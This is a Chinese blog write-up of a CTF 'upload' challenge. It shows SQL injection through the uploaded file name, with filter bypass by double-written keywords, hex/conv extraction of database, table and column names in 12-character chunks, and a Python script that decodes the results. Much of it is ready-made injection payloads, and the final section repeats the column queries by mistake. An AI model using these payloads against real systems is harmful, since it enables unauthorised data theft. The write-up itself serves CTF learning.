CTF之upload

 由于没有发现注册登录有漏洞,便直接随便注册一个账号登录

 进去后发现是文件上传,但是并没发现可以绕过上传木马文件,也不知道上传后的文件位置,所以应该不是上传木马的漏洞。

 那么便抓包修改一下,我们上传一个图片格式文件,将名字里加个select,发现上传后的文件没了select这个字符串,那么应该就是存在文件名位置的sql注入了,而select应该是被过滤成空了。

 我们可以用双写的方式来绕过过滤select,比如使用sselectelect或者selecselectt。

但是我们发现当进行数据库查找时,输出的只有数字

 

 

 那我们就使用hex()和conv()两个函数,将字符转换成16进制再转换成十进制,123' +(selecselectt conv(hex(database()),16, 10))+ '.jpg,但是发现变成科学计数法了,经过多次尝试发现当输出的数字超过12位后便会以科学计数法的方式输出。

那我们就给它限制长度s'+(selselectect conv(substr(hex(database()),1,12),16,10))+'.jpg

 

 

再利用python脚本进行十进制转字符131277325825392=>web_up

def decimal_to_char(decimal_number):
    result = ""
    while decimal_number > 0:
        digit = decimal_number % 256  # 取模运算得到最低8位的数字
        result = chr(digit) + result  # 将数字转换为对应的字符,并加到结果字符串的最前面
        decimal_number //= 256  # 取商作为下一轮循环的数字
    return result

while True:
    decimal_input = int(input("请输入一个十进制数字(输入-1退出):"))
    if decimal_input == -1:
        break
    output = decimal_to_char(decimal_input)
    print("转换后的字符为:", output)

后半段1819238756=>load

 查表

s'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),1,12),16,10))+'.jpg

s'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),13,12),16,10))+'.jpg

s'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),25,12),16,10))+'.jpg

s'+(selselectect CONV(substr(hex((selecselectt group_concat(table_name) frofromm information_schema.tables where table_schema='web_upload')),37,12),16,10))+'.jpg

 所以表名为 hello_flag_i s_here

 同理查列

i_am_flag

s'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg

s'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'.jpg

 查字段

!!_@m_Th.e_F!lag

s'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),1,12),16,10))+'.jpg

s'+(selselectect CONV(substr(hex((selecselectt group_concat(column_name) frofromm information_schema.columns where table_name='hello_flag_is_here')),13,12),16,10))+'.jpg

  • 10
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值